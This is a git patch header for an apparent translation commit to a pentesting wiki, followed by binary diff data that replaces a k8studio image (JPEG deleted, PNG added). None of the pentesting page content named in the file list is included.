From bbd3577d813a0e4e4a1be48638e05c77de3de0b9 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 10:14:31 +0000 Subject: [PATCH] Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/pentest --- src/images/k8studio.jpg | Bin 6667 -> 0 bytes src/images/k8studio.png | Bin 0 -> 88827 bytes .../privilege-escalation/README.md | 601 +++++++++--------- .../pentesting-web/cgi.md | 50 +- .../pentesting-web/web-api-pentesting.md | 96 ++- .../pentesting-web/wordpress.md | 398 ++++++------ src/pentesting-web/command-injection.md | 55 +- src/welcome/hacktricks-values-and-faq.md | 96 +-- 8 files changed, 664 insertions(+), 632 deletions(-) delete mode 100644 src/images/k8studio.jpg create mode 100644 src/images/k8studio.png diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89fa5348b69ee377112fe4841a2960c2f8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6667 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 aSMyP>bE5UmqebZX#jO=e^LrmJ_Wd8$Cy6rv diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 0000000000000000000000000000000000000000..0add889f2f1854c1141ca35b43a867a37bbb1b57 GIT binary patch literal 88827 zcmZ@=1zZ$e*9Qb81!+(kq`Q<{N$KvcrI!wA6hRs(2?=SWYk@^VQUs)PDM7kh`kVE6 z<9Q$b;K%OF?A+ON&pq)!aS2ydmc_v&$3#Lx!jXF}rH+Jz!GMH>+<|@i;DNNC9TNOyoEWZ)MGnH&l6G~ftH9{J&aj@6Nw{&f!u5>l8g z66(M1(FfiUKhJ?b#F)R{?_?wY_lemk|Gpc8A^Xn1kC8hN!_J;22?K8!&d>GSkdUwl z5P!%>Y41sqkWhGSHFe!}l@x_6oE$mKES=1)IJ_O55u=bqyoG>6M=N(TYHvpeh?|hN zDDAI1gn(njWlmb^U$?m1i_+>UsZvWixmr;RaBy*O(TZVGQ&Wq$T7retrDXm!95@rD zwQ+ZM7UJae^77*F;^lC1wdUl0`t&I$7Y`>74?A!NyW0zhyO}pT#EtH+hy43FQdVvj zuC~tZwoVXg#B#!>kvzP7 z|1 zXDJshST^oHD7Ru)Zrn9Q6Ok47EV_dm=o};A$77|JZsi;65STT%*2>GpwXgb9l2HN` zuc#iRV_j&lM=GItdv@YD-$>L4T(bZS+d;CzL50uHkcE;1S#qfx`d!^xqcp~O8d zX`|)v?Sjz(;mksHCCu8YeG5H!U=t)^{+7pQuy6gkjArG@s+SDh@>py-`>dySf`8qg zw@k3v{hy53pA-h^!Z%yez4+Xr7iyO7(cn)4fy3 zFu?)0Yl`oy%bE@>bd9ts+0WSG?NjnEn6J8ka%$`oBoj@RY-iN7H_yH=knm<9)cx4`kw&%l_i08J9I+eIB|H5Nv z-)0BETz-V!(FtV}Ykvk%XwICSz*)F{%~OgY*F9?(!WVmdYBFerN%St3o#T;8G&}1R z2c^lzkCD^9H>)}>_BAd0hVT@H{ME*Ct=%c*9-PNjwh2&p(ZW{UK#)MA0m;i-uknvs zgT#^Fb@ov3+U)X9NG@koz=Un|iLKnR4CL8xLv1A zavjyc8`gLQoMy&`QhM{;mqhXhp|2NwL`SevUof~~?wP$_(}(tTIONKHzg_iL3*5Se zQ>}_RI~av8fZ;p7=}A7?vjLaix~x`l*{R?V*=dW1(FTH0o6=b$DEmZxpQ}b!Oh%7r zD(T?V#{?-~WAy<3o;*mzY>~baYgT#=+_HK-uk& zdz~EOte7)WCI9s)lr{bO3OYP&72as$zIi>M)Kn;*tML)G_-Iq3=&{^K1#Zucl7>P- zcDVECzQ%cth9DJRVhFPQ!v`RwU?22#bK7?u&hxslFgjK1SM&T?g-@~y7sAr9%2&Bz zj_|^ht@rIzSA!(T3=}(aHt-#Mh}Vh1gd@vOq-)4{*X4EXZ2yv4!#*S+6>9zy~ z!%?%kt-E%)v?e`mm#%mK{SZVALrFXEP6mr)Rs=3zZY`YM*oD8ym{GZ%KO1hnZd{cO z+{<0@-4umZ?faO;TPG^kE;rf+9GqBP*}v86zwE65O6ckV2G=B4@B5L-86$%bO;bDUfTSUd2 zkHC<=j$aRNlMQB2NbV<{g`Id3J?-c*Up5{i&=&I7nte!Sd6|fA4aRyZQShk(bhtCs6o^fs@+FJ3(8x6 zwJ|zq2Z!pMot{F5+yF7gLqR^$&*y@vpZmSLX%;iVh`+bxv1!^29+*6Qx?1;@o|O54 zt!%BuV67`K~t_T+_$dX0ojo&&fvB8F4(;>z$?D zt&j&_Bm~^*)%#u4K!iU9I6MrX3j%SWz@j$-Sk6@kd}^gCRKhk-Y{PGqpu~2pk10~6 za;x%kO>?p}|2VrGMqqa67i{SRyZHoZ;81$}c!?n@0*Mrh3mJd+B95O|7VWSvx2aFP znw5(T`e+y866+Kl&o925VC}{P7}y{K)5E)uY!u}Gj-xX3QH)K_gV!7~w+;0bdws)i zpyg`%@)u%kD^GfCALm){HGTPzW<)>Gbya;~nG6+D$9N!{R^|aWODH;y+rH5Wy)BWx zg)c1JR_gTt(!xSu188sRQ@7Q~lNtBC-Mwr4W|Fk&nN$A!os<)s*=^aR@pj|iG#_CD z=p}>l@-EJ5b~{Z2B}s_;3HLWOW0{9n3P-YEgxUvTr>v;gGf%v zthI1MudTcz@Dr4|8JOiZ1}_|3(jj!-!u7r-Gs!6U)I;<0EnY$yVk7i4LEvmHNb7hqF*UKe{m4gUv5o zQrJ{8tpkJlM|6*E)qU+h?4a`wCfPcLa3-HKCT1TqGO*4G#1Ae&!2@Zn_e}Wtsqq33 z+G?5Ue>zQ<=;s>+788=Wl~Kf3|DOEzdu%2;U<-e@7;lo18HR%K&W#)msVc^$t4exWZd5C?*R+n~jA0l&%wwZ;NR% zTC_3b#Yc}gzoiTA$+BvflH&O8cZLOJp!)d1-GF-3G+#E2&C>nW^W*udmxAp3tCM@vH znQ&XJBU2KLt&g~`EMyx- zX&!V3gt2vm53Yyll zsXi?pby*#q$-+_SwHF0^KAT%gLVZe@J!wXz-s=+gWZFMXbi-G4x>RmrF&M;#>f__H z%Dl1b7rm2|hO-ecmpS0~U_IaNQ37pOPM9s~?>r9zjiIJ67mJC4SsyyQ@c&paVTTss z?^X2GNC+$xEtxKAA)Zco_vlw9yO2kXXg8&|H!8@uBe?h<1~QFwFJoEa!l&wLXc zAbUtUX#t-WkwH;NX6tpBgPnM!ji2%{W{GRddA(nIqjoz&_$P(6!Q#?Tr?^mAcq}f- zC~u+~_OW;b7x~2K1MW3bNw*arC)~LfqPw3=u48btsrXRIz}}dfh!&x!L^cpei`)mQ zN5lJD_|WR7+R)lsL+y88w{(j0EwbyGf>$W(Ze=f?%6v%aB&G!PnvwEDmM~wFV(Z13 zC4bmp_=CMs`Vc3`V8LXb%6-V(MO^ouR}%HPPhEOQ9=*Gmqtu_2GYW|@-F{Xpl7ure zHzA*@%%x6qtv=|Ya_C*ayN8x9bQ+-Pt^~Z2Iv>jH+~V>QqY+Z^41|HcwmB7I@YQFl zzwE`NKm2PFtL_0%TU58V8hSJgr-9{yn+eT>v%O=;EHu!k!ZCQ(P{$yxihNry% zDEmIj+}xZjAoOtCKK+u(yffC2<}JLtS_nq`rhGvlG8Dr~&O5z>N;08g6{;`Z^PLdX ziCOI!ZTDS_89ysiQgQIE_cSp4T&^}}`@Q?Na8PaX*abTR$FiFv2S|IdZFEwa%a|@I zfx#T8YW|fyBDXoSO4Z8<&A60%UtAvb{6mZ{$pk+>i^|8K{K;Iw&6D*C^2mjeK{L76 z*>k^h5a6nm8sGxSPxa@a6&fC?2m(K2T1NPjJFtr-&hw2qOS4$*EK90AU~QkV_Jz|C z3w%e+^fQ+3x!+C6$JMsQk_Z(X80n1{96Heds>&aTc^~CP-qs5xp9u3G?oSCMhQ7cb znhG=$%h=U$9g)>HFfb6=>F-9@WXe7`)o-RO8`~Q8(v(tp-BtPU4~qfISJ&e90wOfWD^lRX=&nZzbJ zZ&JrdwHnh|J;u$|$!Txd#Q`eEH@tIIE)Vx?o$-=*1b?3Xk=RDvbtJ#WdSG+X{!6R2 z5jh$)S9nmjPHaFx{=q4o<6*m;fCcxT>5~E>Sm-_y&!E6_;km|WuS%pf2Dq}ajb$NC zBkd&Z8Tkurqtu*ddd3bR0AZa**-g32`LH2ht6BJl?M@Hb##0!rzGqwrhjL54!-g7!lt-eY z1E#X58071FInNAl(Ml2+t6f^xIbBOmPVUQDh{`bdOE?Ya=6(o$#>!Dgb2~(uvvi z`E(Y9TKN|3m|EshHkTz#CWT`TPO@BdWGrIIVBLyQuerY?9zn0uW>>jWvGH>6C|*HT zt*?G+;~1`8ZunGvc%EiXu3kn+OkBtgGJfhrgY&jBhlWd~Cw*abTi~|Y`(WwmFnTIe z2fb;$)rrqBMRaZjYxxVah-lq^p!t8DX8Qoq;YY#u)gi-g-^SX%n%01Hetm-8&vEKu zGcz*w>8v`@id%A0H}*@8DbJ~3E5f>jV65ltG5DC6o{Gd?m(!P@l^Zu-h{ZO&_B@)H zm`DcPwi}Fp#EXa?1L?y~u?<>5AR}WeHts?hypcUz`-hZ)N^qvbsRz!+v0XD|b5*8` z>L0>Zggrz>U~*?Dv(c5XW>*$qPzWhFf;A%jjn9g}0j4{KM&97i@^Dd_gqH)ID_6fP zv>_-Q<+k)y3#<9O;%)jGY+-$G?>6lgZL+X4GbTnF5Pz6L54!aPBZ^&gO%Q&<{gIv7 zfWqbPHA}O~Guq7{Kz9=$lcz6wssoBfp2w7CCgT5*ap+}$)FFFDw;VJYc3C{icKH$k zMG#ggBST)Hj@Lg_XRp%FF|!Q|WdI}sq=@zl1*k0&GhpXg%ygQjS?O&ZmS1L?VpjMU z&rNSn$2i{V@q3N8c-kq(ff8cE#7p3fb0c$eqP)*`3W}{T*OMp9fbhL_d}rnxlN*VE z|+sm-hNBM&76Kceu_e z`1<+|luEn}D7rmMA09ch=U<|D3qk)ZtCej~Q+urz&J-qFhupc771aGXHH~6}gyk)~ z?z~4{?su&O#4E%&sPi=v%;t1^nxuH@4hmBmZ7z*7$OU^$WTx9qFog_etbY`dtMgqU zQhPY^{Tqbr^PnZh9dg2=M;NRi-@tSshE;<+3<6tk0E)3%-M=IFKO}q0H6?NDI5?gG2X3^OTP^7*0wcsW)5={ zFm_6n>S*Plw@v6~^p*6OekxI^rFO|h(LKb7e2}bc&y7#UC2aGD?%cwpI0Ak5hv6z@w)$4rH7W@CoCajOn> z1V4(}mc&4!;^iHdf+C}4k|HYTRhpgTZ(uN zE$z_gs2f1fZGHPVCnY6nribBK=luMKY0+=Oye=zFL2}M-%~vN! z;U}ytE#WI!Z?e~=(?X*knj1dg8Nlq=>A!QBKV^flzR(`+-#EK<_wHS&6sv2F^zU~3 ziiDcESbo$&0AB9&s-@zq`IP7`3OU{DswHdT!REji`^NsEl?2<*>IGs%vfK!r8$jjL z_~rup>0vy;5~U)2wqkT9s^%DTaZRy#HYmj(uq0y|7GyOyl`zoa(z75E{yqqw9@pLR zQUGlpuW=EB6gd#>QL|ucYkli28&UdMy^Z`I)-s0~@Wx5kV1o${7FrD}?rqAzU`3bG zpA#dGCnw4tl=}Ozavh-QT{;LViJ&3@u|G|4OiawH#7F*aArki$is+!r?@7nWuoK&= zG_P-n%r<8jaZz*Fv-Rdj%B}p3!r8-QnizVcjO%eTK9J<>6`%MrY6NN1RZ5zcfQJHd z@#FiS(*7|^A&r1Aq?kf3H{?5z0B>s5m^OR9lFwBu4o~I;*!SR5A06j~=R8Z#*!Jgh z%GM~Rkr9@&4g?fIbDRCanBW&j5qmI_3QE$3zAcE^lrb+ShcnxjXIFa^z1cdR`MxwL zT#jAdp)t3tEIP#3M9N<0%g{twmWJc3GR*VG7@=}-7{#P03`ovge#ee2`lqNNd>=+! zqUML@mIrAM<_lS7Gv@GFOdEGSz}uQ|Kf#^%A9y};6wW*`ZwM@~dDu}fObrl zCqHTo;};UT&^o!y`68{{hMvfr9hh?a>BSKk;;&htBPwX`-tE?-PVrAFvgX;B7X{ zq{ygOcteix8F!kW3IT~pl{}A{@3mS0MWXcFsa+r>7dg31&mk4&rdyP2^BA0Ptd2da z#eF!b-)8r`&`CSrcLHXr$GKqI!CprrgSi zsB0>mELa}Zz3MhnUU8-ZSR+Pn(0 zHG2G0;F!Q-+*mI>YGtxwMzI3BY8JKcLUse=h2sx}i zcpRLWnfXE}929SvBJ^6y-`c!tvez&uwR@pn_5vP3#43|J z^|8CVn{|9I^4HR-CIxM^$XEDU>uB8-zT{Y3J<3weVXV1($)OPZ0MGlm#qB!axu~S5 zwI%+L>5-rVxkiVT56K-6)SeGhdYWmV7T`aDJt-)dDfl78>J<2lRYtzt(u^O4P8x3a z)zk!V6>VO@k~8oc=E>{#duWW=Ah?IhWYk?;sjA{R3JOlG)>iR|Dgs`V7W8#!WSWtC z3#XOZ^KlfQ+%+u!^-1IAOD3e?HyAdv6?R`N?@u0d&ON}&aQ;1d4Tb@TSQAY03lZlG z@goo=dLm;sw-%|vies}y$!C>%$e8!laSWQsfh?#1%^*-d7m<5wBl%T3`cgPrUs9Rc zLYR^*!PhYqUEP)c+8V zmv4;S)on{)L7SDWPuJGNZbBs9#jvpN-w)81KK*IvupP-;LoOoxgmhXjl#i}Abu+K4 zYLAKhP1`X_&&EQBec?hB`%A*9THDcLmR8{}LQD^XD>2q}mumd4uboIqNvH6kQ*Zv{ zy(0iQvpOEjk&e_i>Vs8ADNUmy52An_Qn^=O^pxNRe3jRG=RF@wA&*JOW~J}SfQ3MU zLKy1;S%tRXPa0dA{)r`XGjW5h9@iHql4=f80_k%Kyzzc~zZUix`nu#+A#17;-y7X{ z-BpBAvrjgQggX`vgcCU@#<^!gCOx63hv8b;-+vD+f^Y$dniTwmhsPWO7sy4>253B( zuqS2BKkPImFu@bna}=}9rM8%vv+}RNbxaAw`|5a|wlb9=JWL0^O3#;!` z2-K=xwM~}n{pL=v4;ItY#q8-C>nxqUC-M5Xkbwc~e73&JcTDk^GEKQ0zx0!pX5*qr zFy!YSB#sNHVDc$(9$VJPuBUG@D%FscJSdWHi{j>;5Fv4WyHYaX7M*Bqc#tIcSNdGfGaQXtanE_ z4J{TlV@J6`C+tZ(O!y=knml+L?Fk!)8#{P6V@ng<-}Kx!VY zi*0{&e$^_=wwlpi=Lk2va+>-zg`fv1ygVX)VuW=>HkE9=lH>DrWl1x5Ma@C+Z?*X? zdBW^N^P22Ug!%sv104`8zU(3NhXe6O8V4pvsyTr+&0>0x@=FeG3*{PNziImq+IGjU zARoWu%*2xMfBKF?F6`7)$q!5puQX^L>zk&;2>fLkLvp^;sPBfsJp}Bl^N1v7x1*pS zd&>XufItxC8P@v3&&HjdoxaIZy(8Tr548Xmt@jM!dU|BoRU||9eS;J|FOC3RrS-*r zaH)LQ7@U^mZj!MlJnQ=Y6~E+)pTC?#R^sw@@fxqzIOM{1Ohv}T{Hu*$3TJF8r-#0f zjNqVuVC^;(-k!v&6Z6xU3+%w%* zT9A~2qFFU&m6jB!C^NBh@g^vnWNWQ1V8#Zakvm+nHA8pFocRf3K}KkaW{3HWN2|@& zT@ggN9ylRi?~tr-Z~Nu*M9vqX=DpkSZsMXV&UC8KVbn;Bt5v|(haKg13J5!?PMb(d zN;YX5>#1$O1|qV*!wAqiYQLbrcOssRgH3~GY4!J;f2IQk1Gz8a0oubGq>^kK)J^t97L1kn`I{TBggDK;a`f^W zL;*1|$~_|B=3{Br?Xd3`U-wU4?D4PY3N8N`op?T=X0|1X*OadztljuA_LM=p3LTNu zk9W{B!}clLz`ArAS6rHnC{+~92yUTfsNoT`<^>)??TpMIwU8%2gHpi+A!^u_nR8vK zEfQqS8f=wxq^4otq>#I+!%NB4>ryV4mX<5Gm?+h=-sC-)rGGeds*8nfP=4t-CzLT= zWidM-FD2w-vo+zH6m_h1%@*OJVT&l}A<}aHdHFyL05qwy_4Wx5{r)mu`KijH$0*TV z-0O|ij)MKS$)2#$qnKX!_iv7UYYSs{@`Wm2 zS6pw=?W3%ER-P2TYi55)8|RKZ>2ETE@zS9cylX!a{t_2e@17N%s%&u2iFCGwk6WX` zCg~lmdrXyx*s`g5dT`^3%j*jmUE4<{^51~TS3H2BDC#N#zER4CpCIk#H&WRJ0ANb1 z(v{1PS>YHBP-eJ%Y)MsUlNh%;q6m=L6a?<^eG8#;ahzJlw(#?*Y09au7d-535T&39 zV`kn#Gvj;w7*&F0D4&eWm~3Q2|%a>;hNK-!y`^sKRkPun8z=?XGsSLfo zw>7fuXvfb^jW8I|^UhxnQkDCfQNPw;LOCJ&ISO@z-`Ij;FG8Q~Ji}npJ9$;^SfP4; z4^`{l%0F#HP>>g3B)U@_XKFW^FKXOoX)|e6Rf4}Qr5rz!EO7aOzjIu>MzP%5F)E$@ zvp$g+K%VrdP#oNaQV@w0?GzW<1}vQ&9uOuG(a|5YYH-yP7XD5b@6F2~@ZpPVz>#}K zN|dTaxE!qxFtX00sYRsfK1fjpIn{cJG+XucO_Up5uDipl#e7gGC@5+YaSA zk4TzwCe3LPzTodbnOYz4!9L(>5d*MIwzz-6rUr*3HwZ_AIKNyC&&UXads3JqTxZBY}E|glmGx|2&XH4nrQlE+L5ZsfzzP_eB!#-Fo_qBYJ z8);z^Yy0S03CCbde?kao*&I7!zj)Dor5!&-%+A|`6}=pg*6#-Q@S0qEeeM3%*W|i+ zp&@H+07)%ZSWl_sIb3!U zv1&(6@S-nldCoD&yB;*_VzQw-47-fou1`BTz;8Mh7Z=-re#6W|ICwZmx@qO;9Ma=* zUkyA$BX1`p<$obDUK6(9p*GKf5#5g)qJkniy?u}-UjQFfc8CH!K@*sc zIf9K}Uwggg70LN10}3xvijI!X8ui^N9#8CO`E9bQ!oi)447RW}!41pqK08@uC3H>d zY;L=5J134aiap=h&4(cyI(Ds5XZ{vdVPIjdyCQ&o0ZDv!s~QsKh!DmI?Fn3Yj`RAK z`FWhA9g1(wK!xMJ^Wk~p_b3jS8gtjyWZJ@@V`m*3w97E!`;!R)ocbn`Bt}5tX+2NN%QA)YbjnTsWNa zJah;Nm`OtrWRFj$rhc|vk(tQj$DFp%b#TNf_PKKMvU{jV=a-PeKocE(sDBaAo+cFa ztU|A5m78ILeQ#@TZ)B_OAfk#h%0-5+psTE`jQv5hD52R_UR#*N1N3Lqsvm;p@3a(j z?&&PJ4T`F0>!LQj*3B*{*?M$xz)86D2`@~}<~Kp(3I~}d#P`<@3KhE?&~vcKP$vSZ zrL?N8rw#v!(>Rxe31>>7vY*I8Vv$gWNh)P!Wm-Ofx2diR#y+7LB-$Km4?L+UTjih3 zmS8BXoy<;a(Bb}=>Z&~IAVn4N^$B-PfURMx>UE&etZ*Um4sUNJklwhYsVicQ@mM#% zWwrbn{{$K>z#!FDEtYc@q>*z-85d`Kke~Yadu>V0kv+@^?n*SZsPKXC<=^qmuetD( zJalb77In77Ct=u$XjXmh|m!l@p#@e$lhO>#R~WFzkr@7HC3bLxojO zD~!kKbmwsMLqg(}zKuzD*YTG_J;$d7;f ze?BB^TlT=9l}Un?U$&F-7ZxZDllti>vF7ohUJ;OT%N4_n)>dwaDmF&UXJjjC60y*+lIHc9o(I&(ZLTaP}}EH&LV zaL2aw4Wv{rJ~@AE^-ZYC6cD%&AoJdN-7@E|r^%%%$vKU6U=bnOGYZZ3~3zMs9>yHhb6 zXawo5Vspc8u_n7E=C~pa;#6mTSJBXSK2|6YF z)@}>VXYWDW=EgAII=o1Iwq;`RToSb7 zZ`YUX_Hj!5xXIJYYtWs-I&0`2`3RB+lDpj)L43E3PKEKcseu8UJ36&LL%(}l&w|T1 zz<{{k>1c@`Vvyjyv~j1a!T$yMo1l%Dfs2J#Lf%t(dTjzt$#r@)?T!Z9#G}U$?@5DG;xJ19Of%X;qJ2{P}c5RBr#DODn<{*N{h_ zvFKf>yxF||6eW`e?-_Em8E-Ocqfz)ujPYUtxp9Sdy;SAON{EQfjPAEk2f#I=BMYY?@XoLrYvo(WM9oiweg8?q6oLEhp5 z4x|YNy^H;v&p$upGZ^8&kUw5AK8^ee1qyg+pSN)5@shm534mrI=Aop404WT{+ed>F zXtOMRK3Vhd3zYKwo37Xx%51FRlUO?Q2kQ&tdusz3zGfySSD|kp1D8RN70)Qh3K*=o zl+173U4RebhmSchc!};<2||;C?03I)(b*t3&)gbSnB1y_hqcy`li%c#jktc)hy=O~ zK?3QHliP0}Pd8xU{5GXGS)iQw_(whGamsghNm?O!(ilWjgHg71*R&NoR5NLfKt2D* zLhS;w@fptfDQ+6{wTMhRuq`76i^=SG99HS-(w|PIcw~6?5Xgd=+%MR7PWouDSIZ+D zz9x1qE0!g0h6s`~&!WEEm)BgMjFQ_Mw@x;o#do!7@3-V}#9ZASLM6-qJ&(fpSixqW z5pk22F&OA|(iW6T6b@iAMZ6)GqlfOZSN!amqGm*azu|n4A}YRHtf&9hPt%N9alyye zGQ4<9=qcQe-B9Zo&h6H5k1|}JdCnhz&CUa8S47ZGip8d1TU6(5Ce1l4B7#|3HL?+S z)}Z1p==HvV;qJW!lH`-`{Pq)9qCX=x4PJp2FOq40+WP0dvD}$$FMA0YO()`I&{`De z;&|M<<(r1FXEU(wSs74HO=FA6uFas=wz;`^Q5loo%7}^|A1{J$BmB286i^V*HX43H zVji5@PrZ4X@RBk=SdPGkCB|`ZXWp~J&+T*HEG0chtZ<}bgn}=k0wSeox-pWELq|tf z&$8W2N9;q|PEqY}iCR%lk0ZIL)!DY4F~5H^F*0)a)Tv3z%ifCrlkBkg!#UzHhQo7@ zV*aHh7P|1%_^VCH$!k5Kti6$_z#dkzjrss0g{SD9YC!Yoq+R!yzA*v(^W~|}wHW^! zoFE0epoBk{A7RHcE*78?ET0pRrdCGjA?j&Z6L^~3q$u3=9X_mF#h!^Xg(y|+E0`Y9 z#rhfQXvOT8e4mI(KJxjJe_oq!(Bi5F;dj| zF!Txgq$7^xBelq95SO29s!pdpe7qyQKmoGqtXwal#EWYz7DR}8JahDksZ%cMpQeUd zwHYLNA|29%%4`35RVlq3*DFyf4CH|Vv$5*_iFKTCrappbfQRTq0~%Z2duP78mZ&e= zG8V7)`#kp{GBOBANpK@N9-W4E7{93~zPffO+6rhAf7diTNSmvgY#$$Q_?U^greaq! z{u_lAaSZ}V0ZUHmvVcg)FtUpKm50pNAJKF)cZ5C z#E7K>nV#W7;HMn1OUeg~%l-?6wH9&l@@ zON-`AnuV3-MXW38Z@d5u?8VD_|JY;^`~+kDeLt_Aipl#KDFX!5_QCADICaD#;g~gA zkhpag4K98dtdEgW1?m2@cG2QI^~HH6AgMfm;m3;w*q-Se-&L)fqP$~~FB2*dy@eAF zVar8Bt>!*<@4bBhsP3IVrccPv8Rk^A6loE!FdLQKL~h*qM&TR-Z-SA9eI!r_W)a(u8>Zw6t$( z_x4hcl?$%JA57IeS#1{l3A=MQ?A>7CyOziPy4+8DErW1WKXlKtE#oV4y^au}H5Su?kJLWdc@`!{Iw-f$$v`H(xV;h_b`Ob*B!oH7A#0 z7NuJm%3(#hdTG{8A!&O^_?M2RpbjZH%3&xA%?6IYzyHF1164YrAn}`2$2||8nr|5} 